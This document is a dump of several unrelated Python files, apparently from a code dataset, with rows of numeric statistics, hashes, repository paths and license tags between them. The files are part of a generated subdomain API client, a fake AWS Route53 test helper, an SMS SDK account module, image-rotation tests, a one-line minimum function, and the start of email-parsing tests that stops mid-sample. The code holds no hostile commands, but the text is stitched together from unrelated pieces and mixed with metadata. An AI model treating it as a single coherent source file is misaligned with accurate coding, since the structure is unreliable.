:param int page_size: Page size, accepts values between 1 and 50, default 50
:return: PageDtoSubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_sub_domains_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.list_sub_domains_with_http_info(**kwargs) # noqa: E501
return data
def list_sub_domains_with_http_info(self, **kwargs): # noqa: E501
"""List subdomains # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_sub_domains_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param int page_number: Page number, starting with 0, default 0
:param int page_size: Page size, accepts values between 1 and 50, default 50
:return: PageDtoSubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['page_number', 'page_size'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_sub_domains" % key
)
params[key] = val
del params['kwargs']
if 'page_number' in params and params['page_number'] < 0: # noqa: E501
raise ValueError("Invalid value for parameter `page_number` when calling `list_sub_domains`, must be a value greater than or equal to `0`") # noqa: E501
if 'page_size' in params and params['page_size'] > 50: # noqa: E501
raise ValueError("Invalid value for parameter `page_size` when calling `list_sub_domains`, must be a value less than or equal to `50`") # noqa: E501
if 'page_size' in params and params['page_size'] < 1: # noqa: E501
raise ValueError("Invalid value for parameter `page_size` when calling `list_sub_domains`, must be a value greater than or equal to `1`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'page_number' in params:
query_params.append(('pageNumber', params['page_number'])) # noqa: E501
if 'page_size' in params:
query_params.append(('pageSize', params['page_size'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/api2/v1/subDomains', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PageDtoSubDomainDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_sub_domain(self, sub_domain_id, **kwargs): # noqa: E501
"""Edit subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_sub_domain(sub_domain_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int sub_domain_id: (required)
:param SubDomainEditDto body:
:return: SubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_sub_domain_with_http_info(sub_domain_id, **kwargs) # noqa: E501
else:
(data) = self.update_sub_domain_with_http_info(sub_domain_id, **kwargs) # noqa: E501
return data
def update_sub_domain_with_http_info(self, sub_domain_id, **kwargs): # noqa: E501
"""Edit subdomain # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_sub_domain_with_http_info(sub_domain_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int sub_domain_id: (required)
:param SubDomainEditDto body:
:return: SubDomainDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['sub_domain_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_sub_domain" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'sub_domain_id' is set
if ('sub_domain_id' not in params or
params['sub_domain_id'] is None):
raise ValueError("Missing the required parameter `sub_domain_id` when calling `update_sub_domain`") # noqa: E501
collection_formats = {}
path_params = {}
if 'sub_domain_id' in params:
path_params['subDomainId'] = params['sub_domain_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/api2/v1/subDomains/{subDomainId}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SubDomainDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 38.228846
| 421
| 0.609437
| 2,336
| 19,879
| 4.911815
| 0.087329
| 0.054384
| 0.043141
| 0.031375
| 0.916594
| 0.909012
| 0.898815
| 0.885219
| 0.885219
| 0.871361
| 0
| 0.020122
| 0.300015
| 19,879
| 519
| 422
| 38.302505
| 0.804456
| 0.318829
| 0
| 0.774545
| 0
| 0.010909
| 0.201125
| 0.034458
| 0
| 0
| 0
| 0
| 0
| 1
| 0.04
| false
| 0
| 0.014545
| 0
| 0.112727
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c5662975828e0ee5833b7e7bc4697412aae95b3
| 8,366
|
py
|
Python
|
tests/lib/fake_route53.py
|
cloud-gov/domain-broker
|
d1161cecd971202cb10449a29fedb83ef3cd83b0
|
[
"CC0-1.0"
] | 5
|
2020-04-28T01:40:43.000Z
|
2021-03-27T21:34:14.000Z
|
tests/lib/fake_route53.py
|
cloud-gov/external-domain-broker
|
7136ac0c10f5950315b77eddca60512129d4078d
|
[
"CC0-1.0"
] | 124
|
2020-04-23T20:24:15.000Z
|
2022-02-28T16:59:34.000Z
|
tests/lib/fake_route53.py
|
cloud-gov/domain-broker
|
d1161cecd971202cb10449a29fedb83ef3cd83b0
|
[
"CC0-1.0"
] | 1
|
2020-06-10T02:43:21.000Z
|
2020-06-10T02:43:21.000Z
|
from datetime import datetime, timezone
import pytest
from broker.aws import route53 as real_route53
from tests.lib.fake_aws import FakeAWS
class FakeRoute53(FakeAWS):
def expect_create_TXT_and_return_change_id(self, domain) -> str:
change_id = f"{domain} ID"
self.stubber.add_response(
"change_resource_record_sets",
self._change_info(change_id, "PENDING"),
{
"ChangeBatch": {
"Changes": [
{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": domain,
"ResourceRecords": [{"Value": self.ANY}],
"TTL": 60,
"Type": "TXT",
},
}
]
},
"HostedZoneId": "TestZoneID",
},
)
return change_id
def expect_remove_missing_TXT(self, domain, challenge_text):
change_id = f"{domain} ID"
self.stubber.add_client_error(
"change_resource_record_sets",
"InvalidChangeBatch",
f"Tried to delete resource record set [name='{domain}', type='A'] but it was not found",
{
"ChangeBatch": {
"Changes": [
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": domain,
"ResourceRecords": [{"Value": f'"{challenge_text}"'}],
"TTL": 60,
"Type": "TXT",
},
}
]
},
"HostedZoneId": "TestZoneID",
},
)
def expect_remove_TXT(self, domain, challenge_text):
change_id = f"{domain} ID"
self.stubber.add_response(
"change_resource_record_sets",
self._change_info(change_id, "PENDING"),
{
"ChangeBatch": {
"Changes": [
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": domain,
"ResourceRecords": [{"Value": f'"{challenge_text}"'}],
"TTL": 60,
"Type": "TXT",
},
}
]
},
"HostedZoneId": "TestZoneID",
},
)
def expect_create_ALIAS_and_return_change_id(
self, domain, target, target_hosted_zone_id="Z2FDTNDATAQYW2"
) -> str:
change_id = f"{domain} ID"
self.stubber.add_response(
"change_resource_record_sets",
self._change_info(change_id, "PENDING"),
{
"ChangeBatch": {
"Changes": [
{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": domain,
"Type": "A",
"AliasTarget": {
"DNSName": target,
"HostedZoneId": target_hosted_zone_id,
"EvaluateTargetHealth": False,
},
},
},
{
"Action": "UPSERT",
"ResourceRecordSet": {
"Name": domain,
"Type": "AAAA",
"AliasTarget": {
"DNSName": target,
"HostedZoneId": target_hosted_zone_id,
"EvaluateTargetHealth": False,
},
},
},
]
},
"HostedZoneId": "TestZoneID",
},
)
return change_id
def expect_remove_ALIAS(
self, domain, target, target_hosted_zone_id="Z2FDTNDATAQYW2"
):
self.stubber.add_response(
"change_resource_record_sets",
self._change_info("ignored", "PENDING"),
{
"ChangeBatch": {
"Changes": [
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": domain,
"Type": "A",
"AliasTarget": {
"DNSName": target,
"HostedZoneId": target_hosted_zone_id,
"EvaluateTargetHealth": False,
},
},
},
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": domain,
"Type": "AAAA",
"AliasTarget": {
"DNSName": target,
"HostedZoneId": target_hosted_zone_id,
"EvaluateTargetHealth": False,
},
},
},
]
},
"HostedZoneId": "TestZoneID",
},
)
def expect_remove_missing_ALIAS(
self, domain, target, target_hosted_zone_id="Z2FDTNDATAQYW2"
):
self.stubber.add_client_error(
"change_resource_record_sets",
"InvalidChangeBatch",
f"Tried to delete resource record set [name='{domain}', type='A'] but it was not found",
{
"ChangeBatch": {
"Changes": [
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": domain,
"Type": "A",
"AliasTarget": {
"DNSName": target,
"HostedZoneId": target_hosted_zone_id,
"EvaluateTargetHealth": False,
},
},
},
{
"Action": "DELETE",
"ResourceRecordSet": {
"Name": domain,
"Type": "AAAA",
"AliasTarget": {
"DNSName": target,
"HostedZoneId": target_hosted_zone_id,
"EvaluateTargetHealth": False,
},
},
},
]
},
"HostedZoneId": "TestZoneID",
},
)
def expect_wait_for_change_insync(self, change_id: str):
self.stubber.add_response(
"get_change", self._change_info(change_id, "PENDING"), {"Id": change_id}
)
self.stubber.add_response(
"get_change", self._change_info(change_id, "INSYNC"), {"Id": change_id}
)
def _change_info(self, change_id: str, status: str = "PENDING"):
now = datetime.now(timezone.utc)
return {
"ChangeInfo": {
"Id": change_id,
"Status": status,
"SubmittedAt": now,
"Comment": "Some comment",
}
}
@pytest.fixture(autouse=True)
def route53():
with FakeRoute53.stubbing(real_route53) as route53_stubber:
yield route53_stubber
| 37.182222
| 100
| 0.351661
| 479
| 8,366
| 5.887265
| 0.19833
| 0.051064
| 0.08617
| 0.057447
| 0.823759
| 0.811702
| 0.787234
| 0.787234
| 0.739362
| 0.739362
| 0
| 0.007521
| 0.554984
| 8,366
| 224
| 101
| 37.348214
| 0.749933
| 0
| 0
| 0.545024
| 0
| 0
| 0.188979
| 0.019364
| 0
| 0
| 0
| 0
| 0
| 1
| 0.042654
| false
| 0
| 0.018957
| 0
| 0.080569
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c5e209987df025114cde6772f5db7e4bb0f0330
| 6,051
|
py
|
Python
|
otsdc/rest/resources/account.py
|
masaar/unifonic-sdk
|
438e94de20cc657fd25ec7c38c979188fe96bdf4
|
[
"MIT"
] | null | null | null |
otsdc/rest/resources/account.py
|
masaar/unifonic-sdk
|
438e94de20cc657fd25ec7c38c979188fe96bdf4
|
[
"MIT"
] | null | null | null |
otsdc/rest/resources/account.py
|
masaar/unifonic-sdk
|
438e94de20cc657fd25ec7c38c979188fe96bdf4
|
[
"MIT"
] | null | null | null |
import requests
from otsdc.url.url_creator import AccountUrl
from otsdc.rest.resources import resources_properties
from otsdc.rest.model.response_model import ResponseStatus, Balance, SenderID, SenderList
class AccountResource:
__appSid = ''
__accountUrl = None
payload = None
def __init__(self, appSid = None, accountUrl = None):
self.__appSid = appSid
self.__accountUrl = accountUrl
def getBalance(self):
payload = {}
payload[resources_properties.APPSID] = self.__appSid
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlGetBalance(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
messageResp = Balance(**(jsonResp['data']))
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,messageResp
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def addSenderId(self, senderId = None):
if senderId is None :
raise TypeError('senderId is mandatory')
payload = {}
payload[resources_properties.APPSID] = self.__appSid
self.setPayload(payload, resources_properties.SENDERID,senderId)
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlAddSenderID(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
messageResp = SenderID(**(jsonResp['data']))
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,messageResp
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def getSenderIDStatus(self, senderId = None):
if senderId is None :
raise TypeError('senderId is mandatory')
payload = {}
payload[resources_properties.APPSID] = self.__appSid
self.setPayload(payload, resources_properties.SENDERID,senderId)
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlGetSenderIDStatus(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
messageResp = SenderID(**(jsonResp['data']))
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,messageResp
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def getSenderIDS(self):
payload = {}
payload[resources_properties.APPSID] = self.__appSid
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlGetSenderIDs(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
messageResp = SenderList(**(jsonResp['data']))
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,messageResp
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def deleteSenderID(self, senderId = None):
if senderId is None :
raise TypeError('senderId is mandatory')
payload = {}
payload[resources_properties.APPSID] = self.__appSid
self.setPayload(payload, resources_properties.SENDERID,senderId)
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlDeleteSenderID(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,None
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def getAppDefaultSenderID(self):
payload = {}
payload[resources_properties.APPSID] = self.__appSid
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlGetDefaultSenderID(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
messageResp = SenderID(**(jsonResp['data']))
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,messageResp
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def changeAppDefaultSenderID(self, senderId = None):
if senderId is None :
raise TypeError('senderId is mandatory')
payload = {}
payload[resources_properties.APPSID] = self.__appSid
self.setPayload(payload, resources_properties.SENDERID,senderId)
headers = {'Content-Type':'application/x-www-form-urlencoded'}
httpResponse = requests.post(self.__accountUrl.urlChangeDefaultSenderID(),data=payload, headers = headers)
if httpResponse.status_code < 400 :
jsonResp = httpResponse.json()
del jsonResp['data']
respStat = ResponseStatus(**jsonResp)
return respStat,None
else :
print(httpResponse)
raise Exception(str(httpResponse.status_code) + httpResponse.text)
def setPayload(self,payload = {}, key = None, val = None):
if val is not None :
payload[key] = val
| 44.167883
| 114
| 0.63097
| 547
| 6,051
| 6.855576
| 0.131627
| 0.0672
| 0.082133
| 0.0616
| 0.835733
| 0.835733
| 0.835733
| 0.835733
| 0.835733
| 0.835733
| 0
| 0.004764
| 0.271525
| 6,051
| 137
| 115
| 44.167883
| 0.845962
| 0
| 0
| 0.754098
| 0
| 0
| 0.07386
| 0.038169
| 0
| 0
| 0
| 0
| 0
| 1
| 0.07377
| false
| 0
| 0.032787
| 0
| 0.196721
| 0.057377
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
92ddd5046d73486d862dca402db4ca9c3f48cf1b
| 5,816
|
py
|
Python
|
tests/test_rotation_pyfect.py
|
UBC-MDS/picturepyfect
|
0a9e292cdb6b974edb94b6c3d4e30964276e7ffb
|
[
"MIT"
] | null | null | null |
tests/test_rotation_pyfect.py
|
UBC-MDS/picturepyfect
|
0a9e292cdb6b974edb94b6c3d4e30964276e7ffb
|
[
"MIT"
] | 27
|
2021-02-25T23:25:52.000Z
|
2021-03-26T06:55:13.000Z
|
tests/test_rotation_pyfect.py
|
UBC-MDS/DSCI_524_Group_2
|
0a9e292cdb6b974edb94b6c3d4e30964276e7ffb
|
[
"MIT"
] | 4
|
2021-02-26T06:44:32.000Z
|
2021-07-19T21:16:56.000Z
|
from picturepyfect.rotate_pyfect import rotate_pyfect
import numpy as np
import pytest
# Generate random images for testing
np.random.seed(42)
test_image = np.random.rand(3, 4, 5)
test_image_2d = np.random.rand(2, 2)
test_image_1 = rotate_pyfect(test_image, 1)
test_image_2 = rotate_pyfect(test_image, 2)
test_image_3 = rotate_pyfect(test_image, 3)
test_image_4 = rotate_pyfect(test_image, 4)
test_image_2d_1 = rotate_pyfect(test_image_2d, 1)
test_image_2d_2 = rotate_pyfect(test_image_2d, 2)
test_image_2d_3 = rotate_pyfect(test_image_2d, 3)
test_image_2d_4 = rotate_pyfect(test_image_2d, 4)
# test error handling
def test_error():
with pytest.raises(TypeError):
rotate_pyfect(None, 1)
with pytest.raises(TypeError):
rotate_pyfect(1, 1)
with pytest.raises(TypeError):
rotate_pyfect([1], 1)
with pytest.raises(TypeError):
rotate_pyfect("string", 1)
with pytest.raises(TypeError):
rotate_pyfect(test_image, 5)
with pytest.raises(TypeError):
rotate_pyfect(test_image, "1")
# test rotation_pyfect returned dimensions
def test_image_dimensions():
assert test_image_1.shape == (4, 3, 5)
assert test_image_2.shape == (3, 4, 5)
assert test_image_3.shape == (4, 3, 5)
assert test_image_4.shape == (3, 4, 5)
# test we don't lose any pixel values
def test_image_content():
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_1[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_1[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_1[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_1[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_1[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_1[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_1[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_1[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_1[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_2[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_2[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_2[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_2[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_2[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_2[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_2[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_2[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_2[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_3[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_3[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 0].flatten()), 10) == round(
sum(test_image_3[:, :, 0].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_3[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_3[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 1].flatten()), 10) == round(
sum(test_image_3[:, :, 1].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_3[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_3[:, :, 2].flatten()), 10
)
assert round(sum(test_image[:, :, 2].flatten()), 10) == round(
sum(test_image_3[:, :, 2].flatten()), 10
)
# test that the rows match the columns after rotation
def test_rows_cols():
assert (test_image[0, :, 0] == test_image_1[:, -1, 0]).all()
assert (test_image[0, :, 0] == test_image_2[-1, :, 0][::-1]).all()
assert (test_image[0, :, 0] == test_image_3[:, 0, 0][::-1]).all()
assert (test_image[0, :, 0] == test_image_4[0, :, 0]).all()
assert (test_image[0, :, 1] == test_image_1[:, -1, 1]).all()
assert (test_image[0, :, 1] == test_image_2[-1, :, 1][::-1]).all()
assert (test_image[0, :, 1] == test_image_3[:, 0, 1][::-1]).all()
assert (test_image[0, :, 1] == test_image_4[0, :, 1]).all()
assert (test_image[0, :, 2] == test_image_1[:, -1, 2]).all()
assert (test_image[0, :, 2] == test_image_2[-1, :, 2][::-1]).all()
assert (test_image[0, :, 2] == test_image_3[:, 0, 2][::-1]).all()
assert (test_image[0, :, 2] == test_image_4[0, :, 2]).all()
assert (test_image_2d[0, :] == test_image_2d_1[:, -1]).all()
assert (test_image_2d[0, :] == test_image_2d_2[-1, :][::-1]).all()
assert (test_image_2d[0, :] == test_image_2d_3[:, 0][::-1]).all()
assert (test_image_2d[0, :] == test_image_2d_4[0, :]).all()
| 38.263158
| 70
| 0.578748
| 848
| 5,816
| 3.726415
| 0.069575
| 0.318987
| 0.205063
| 0.290506
| 0.833544
| 0.781329
| 0.758861
| 0.735443
| 0.678797
| 0.659177
| 0
| 0.071891
| 0.203576
| 5,816
| 151
| 71
| 38.516556
| 0.61032
| 0.031465
| 0
| 0.458015
| 1
| 0
| 0.001244
| 0
| 0
| 0
| 0
| 0
| 0.358779
| 1
| 0.030534
| false
| 0
| 0.022901
| 0
| 0.053435
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
92e3b4ac1bc05524e07d7af497fff5acf9dac5f6
| 123
|
py
|
Python
|
FirstStepsInPython/Fundamentals/Exercice/Functions/01. Smallest of Three Numbers.py
|
Pittor052/SoftUni-Studies
|
1ee6341082f6ccfa45b3e82824c37722bcf2fb31
|
[
"MIT"
] | null | null | null |
FirstStepsInPython/Fundamentals/Exercice/Functions/01. Smallest of Three Numbers.py
|
Pittor052/SoftUni-Studies
|
1ee6341082f6ccfa45b3e82824c37722bcf2fb31
|
[
"MIT"
] | null | null | null |
FirstStepsInPython/Fundamentals/Exercice/Functions/01. Smallest of Three Numbers.py
|
Pittor052/SoftUni-Studies
|
1ee6341082f6ccfa45b3e82824c37722bcf2fb31
|
[
"MIT"
] | 1
|
2021-10-07T18:30:42.000Z
|
2021-10-07T18:30:42.000Z
|
import timeit
def smallest(a, b, c):
return min(a, b, c)
print(smallest(int(input()), int(input()), int(input())))
| 13.666667
| 57
| 0.609756
| 20
| 123
| 3.75
| 0.6
| 0.32
| 0.08
| 0.426667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.170732
| 123
| 8
| 58
| 15.375
| 0.735294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 0.75
| 0.25
| 1
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
92e68cffca3f16035da9e32a2c73b0d0149059a5
| 25,581
|
py
|
Python
|
irrd/utils/tests/test_email.py
|
troy2914/irrd4
|
3e1391c40096b2f3fd0ffa606919789e79ec8a78
|
[
"BSD-2-Clause"
] | null | null | null |
irrd/utils/tests/test_email.py
|
troy2914/irrd4
|
3e1391c40096b2f3fd0ffa606919789e79ec8a78
|
[
"BSD-2-Clause"
] | null | null | null |
irrd/utils/tests/test_email.py
|
troy2914/irrd4
|
3e1391c40096b2f3fd0ffa606919789e79ec8a78
|
[
"BSD-2-Clause"
] | null | null | null |
# flake8: noqa: W291, W293
import pytest
import textwrap
from unittest.mock import Mock
from irrd.conf import get_setting
from ..email import EmailParser, send_email
class TestEmailParser:
# These tests do not mock utils.pgp.validate_pgp_signature, and have quite
# some overlap with the tests for that part. This is on purpose, as PGP
# validation and MIME parsing can be tricky, and errors in either part or
# their coupling easily cause security issues.
def test_parse_valid_plain_with_charset(self):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
Subject: not my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: text/plain; charset=us-ascii
X-Mailer: Python 3.7
Content-Transfer-Encoding: 7bit
Mime-Version: 1.0
message content
""").strip()
parser = EmailParser(email)
assert parser.body == 'message content'
assert parser.message_id == '<1325754288.4989.6.camel@hostname>'
assert parser.message_from == 'Sasha <sasha@example.com>'
assert parser.message_date == 'Thu, 05 Jan 2018 10:04:48 +0100'
assert parser.message_subject == 'my subject'
assert parser.pgp_fingerprint is None
def test_parse_valid_plain_without_charset(self):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: text/plain
X-Mailer: Python 3.7
Content-Transfer-Encoding: 7bit
Mime-Version: 1.0
message content
""").strip()
parser = EmailParser(email)
assert parser.body == 'message content'
assert parser.pgp_fingerprint is None
def test_parse_valid_multipart_text_plain_with_charset(self):
email = textwrap.dedent("""
From sasha@localhost Thu Jan 5 10:04:48 2018
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
by hostname (Postfix) with ESMTPS id 740AD310597
for <sasha@localhost>; Thu, 5 Jan 2018 10:04:48 +0100 (CET)
Message-ID: <1325754288.4989.6.camel@hostname>
Subject: my subject
From: Sasha <sasha@example.com>
To: sasha@localhost
Date: Thu, 05 Jan 2018 10:04:48 +0100
Content-Type: multipart/alternative;
boundary="Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F"
Mime-Version: 1.0 (Mac OS X Mail 10.3
To: sasha@localhost
X-Mailer: Apple Mail (2.3273)
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
charset=us-ascii
test 1 2 3
--Apple-Mail=_01FE5B2D-C7F3-4DDD-AB42-B92C88CFBF0F
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html><head><meta http-equiv="Content-Type" content="text/html charset=us-ascii"></head><body style="word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line-break: after-white-space;" class=""><b class="">test 1 2 3</b><div class=""><br class=""></div></body></html>
